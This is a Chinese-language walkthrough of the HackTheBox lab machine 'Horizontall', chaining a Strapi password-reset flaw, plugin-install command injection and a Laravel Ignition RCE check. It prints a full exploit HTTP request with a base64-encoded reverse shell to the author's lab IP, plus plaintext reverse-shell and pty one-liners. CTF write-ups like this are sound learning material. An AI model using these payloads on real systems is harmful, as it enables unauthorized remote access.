本文最后更新于：2022年6月6日晚上

0x01 准备

该靶机设置了域名，需要手动在host文件配置ip地址。

配置完成后即可访问靶机。看到vue的图标也就不难看出这是一个前后端分离的网站，我们的目标应该主要放在后端的接口上。

0x02 user.txt

我安装的burp插件帮我找到了一个子域名，同样我们需要将其录入hosts文件中绑定靶机的ip，这样才能正常访问：

如下即可：

访问得到结果，但是不是我们想要的东西，我们可以通过目录扫描的方式查找接口：

对主域名horizontall.htb的目录扫描没有发现有用的情况，但是对api-prod.horizontall.htb的扫描能够找到后台管理界面：

访问后台界面：

尝试爆破无果，将目标转移到CVE上。一番搜索后锁定了两个CVE：

嗯，也就是我们需要打一个组合拳。

首先是利用未授权更改密码的CVE添加管理员密码，并获取token。

添加账号后我们能够进入后台，但是后台找了一圈没有有用的功能点，需要继续利用第二个漏洞进行RCE。

将第二个CVE的有效payload提取出来，并替换自己的命令。如下：

这里需要注意的是不能直接使用明文的反弹shell命令，如bash -i > /dev/tcp/192.168.25.144/8888 0>&1，后面测试发现应该是重定向符&会干扰。应该是被识别成了传参的分隔符吧。

POST /admin/plugins/install HTTP/1.1
Host: api-prod.horizontall.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwOTA0NTk0LCJleHAiOjE2MzM0OTY1OTR9.eJILaL-n15d9EYeDtbA_tU5509SQllz2XKKMG2xqH1M
Content-Length: 112
Content-Type: application/x-www-form-urlencoded

plugin=documentation%26%26+$(echo+YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xNjgvMjMzMyAwPiYx+|+base64+-d+|+bash)

payload解码后如下：

YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4xNjgvMjMzMyAwPiYx

                      ↓

bash -i >& /dev/tcp/10.10.14.168/2333 0>&1

使用nc命令开启即可拿到反弹的shell：

这里可以使用python的命令获得一个更好使的pty：

1	`python3 -c 'import pty; pty.spawn("/bin/bash")'`

这样我们可以拿到user的flag了，如果想拿root的flag需要进一步提权。

0x03 root.txt

使用linpeas扫了一圈没啥收获。然后这里之后我就卡住了。

两天后回来继续看，去论坛和别的老哥交流了一下，给的提示是关注可疑的开放端口。

然后又回linpeas看了看端口，发现确实有可疑的端口：

这里探测了一下，1337端口是后端的api-prod.horizontall.htb处理的端口，应该是做了反向代理。

继续，那就是需要架设隧道来进行访问了。使用ssh尝试远端转发未果，上frp。frp配置如下：

使用wget下载，然后运行：

访问本机8000端口查看，发现是laravel框架：

转了一圈依旧没有发现有用信息，遂考虑CVE。网上搜了一圈找到了今年爆出的一个RCE漏洞：

该漏洞检测的poc如下，如果返回值为500则大概率说明漏洞存在：

POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxxxxx:8080
Content-Type: application/json
Content-Length: 168

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}